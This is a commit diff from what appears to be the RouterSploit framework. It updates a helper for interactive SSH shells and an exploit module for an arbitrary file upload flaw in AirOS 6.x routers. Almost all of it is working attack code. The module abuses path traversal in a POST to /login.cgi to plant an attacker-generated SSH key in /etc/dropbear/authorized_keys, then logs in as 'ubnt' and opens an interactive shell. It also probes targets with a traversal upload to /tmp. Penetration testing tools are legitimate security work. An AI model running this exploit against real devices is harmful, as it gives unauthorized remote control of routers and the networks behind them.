Unverified Commit da6d2e46 by Marcin Bury Committed by GitHub

Fixing airos_6_x (#412)

parent fa0b2fd0
...@@ -120,11 +120,12 @@ class SSHClient(Exploit): ...@@ -120,11 +120,12 @@ class SSHClient(Exploit):
sftp.putfo(fp_content, dest_file) sftp.putfo(fp_content, dest_file)
def ssh_interactive(self, ssh): def ssh_interactive(self, ssh):
chan = ssh.invoke_shell() if ssh:
if os.name == "posix": chan = ssh.invoke_shell()
self._posix_shell(chan) if os.name == "posix":
else: self._posix_shell(chan)
self._windows_shell(chan) else:
self._windows_shell(chan)
def _posix_shell(self, chan): def _posix_shell(self, chan):
import termios import termios
......
...@@ -8,71 +8,62 @@ from routersploit.core.ssh.ssh_client import SSHClient ...@@ -8,71 +8,62 @@ from routersploit.core.ssh.ssh_client import SSHClient
class Exploit(HTTPClient, SSHClient): class Exploit(HTTPClient, SSHClient):
__info__ = { __info__ = {
'name': 'AirOS 6.x - Arbitrary File Upload', "name": "AirOS 6.x - Arbitrary File Upload",
'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. ' "description": "Exploit implementation for AirOS 6.x - Arbitrary File Upload. "
'If the target is vulnerable is possible to take full control of the router', "If the target is vulnerable is possible to take full control of the router.",
'authors': ( "authors": (
'93c08539', # Vulnerability discovery "93c08539", # vulnerability discovery
'Vinicius Henrique Marangoni' # routersploit module "Vinicius Henrique Marangoni", # routersploit module
), ),
'references': ( "references": (
'https://hackerone.com/reports/73480', "https://hackerone.com/reports/73480",
'https://www.exploit-db.com/exploits/39701/' "https://www.exploit-db.com/exploits/39701/",
), ),
'devices': ( "devices": (
'AirOS 6.x' "AirOS 6.x",
) )
} }
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port") port = OptPort(443, "Target HTTP port")
ssl = OptBool("true", "SSL enabled: true/false") ssl = OptBool("true", "SSL enabled: true/false")
ssh_port = OptPort(22, "Target SSH Port") ssh_port = OptPort(22, "Target SSH Port")
def run(self): def run(self):
if self.check(): if self.check():
print_success('Target is vulnerable') print_success("Target is vulnerable")
print_success('Trying to exploit by uploading SSH public key') print_success("Trying to exploit by uploading SSH public key")
key = paramiko.RSAKey.generate(1024) key = paramiko.RSAKey.generate(1024)
public_key = key.get_base64() public_key = key.get_base64()
private_key = StringIO.StringIO() private_key = StringIO()
key.write_private_key(private_key) key.write_private_key(private_key)
tmp_file_pubkey = tempfile.TemporaryFile() tmp_file_pubkey = tempfile.TemporaryFile()
tmp_file_pubkey.write('ssh-rsa ' + public_key) tmp_file_pubkey.write(bytes("ssh-rsa " + public_key, "utf-8"))
tmp_file_pubkey.seek(0) tmp_file_pubkey.seek(0)
upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})} upload_params = {"file": ("../../etc/dropbear/authorized_keys", tmp_file_pubkey, {"Expect": ""})}
upload_url = '{0}:{1}/login.cgi' .format(self.target, self.port) response = self.http_request(
response = http_request(url=upload_url, method='POST', files=upload_params) method="POST",
path="/login.cgi",
files=upload_params
)
if response is None: if response is None:
print_error('Something was wrong while uploading the SSH Public Key') print_error("Exploit failed - Something was wrong while uploading the SSH Public Key")
return return
print_success('Appareantly the exploit worked fine') print_success("Appareantly the exploit worked fine")
print_success('Trying to invoke a interactive SSH Shell') print_success("Trying to invoke a interactive SSH Shell")
client = paramiko.SSHClient() ssh_client = self.ssh_login_pkey("ubnt", private_key.getvalue())
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh_interactive(ssh_client)
pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
pseudo_privkey_file.close()
private_key.close()
ip_target = self.target.replace('https://', '')
ip_target = ip_target.replace('http://', '')
ip_target = ip_target.replace('/', '')
client.connect(ip_target, self.ssh_port, username='ubnt', pkey=pkey)
ssh_interactive(client)
else: else:
print_error('Target is not vulnerable') print_error("Exploit failed - target is not vulnerable")
@mute @mute
def check(self): def check(self):
...@@ -84,13 +75,14 @@ class Exploit(HTTPClient, SSHClient): ...@@ -84,13 +75,14 @@ class Exploit(HTTPClient, SSHClient):
if response is None: if response is None:
return False # Target not vulnerable return False # Target not vulnerable
rand_str = utils.random_text(length=16) rand_str = utils.random_text(16)
mark = "vulnerable{}".format(rand_str)
tmp_payload = tempfile.TemporaryFile() tmp_payload = tempfile.TemporaryFile()
tmp_payload.write("vulnerable{}".format(rand_str).encode()) tmp_payload.write(mark.encode())
tmp_payload.seek(0) tmp_payload.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})} upload_params = {"file": ("../../../../tmp/airview.uavr", tmp_payload, {"Expect": ""})}
response = self.http_request( response = self.http_request(
method="GET", method="GET",
...@@ -104,17 +96,16 @@ class Exploit(HTTPClient, SSHClient): ...@@ -104,17 +96,16 @@ class Exploit(HTTPClient, SSHClient):
return False # Target not vulnerable return False # Target not vulnerable
# Response to verify if the upload was done correctly # Response to verify if the upload was done correctly
airview_url = base_url + 'airview.uavr'
verify_upload = self.http_request( verify_upload = self.http_request(
method="GET", method="GET",
path="airview.uavr" path="/airview.uavr"
) )
# Upload empty file to "clear" the airview.uavr file # Upload empty file to "clear" the airview.uavr file
clean_tmp_file = tempfile.TemporaryFile() clean_tmp_file = tempfile.TemporaryFile()
clean_tmp_file.seek(0) clean_tmp_file.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})} upload_params = {"file": ("../../../../tmp/airview.uavr", clean_tmp_file, {"Expect": ""})}
self.http_request( self.http_request(
method="POST", method="POST",
...@@ -124,7 +115,7 @@ class Exploit(HTTPClient, SSHClient): ...@@ -124,7 +115,7 @@ class Exploit(HTTPClient, SSHClient):
clean_tmp_file.close() clean_tmp_file.close()
if "".join(('vulnerable', rand_str)) in verify_upload.text: if mark in verify_upload.text:
return True return True
else:
return False return False
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment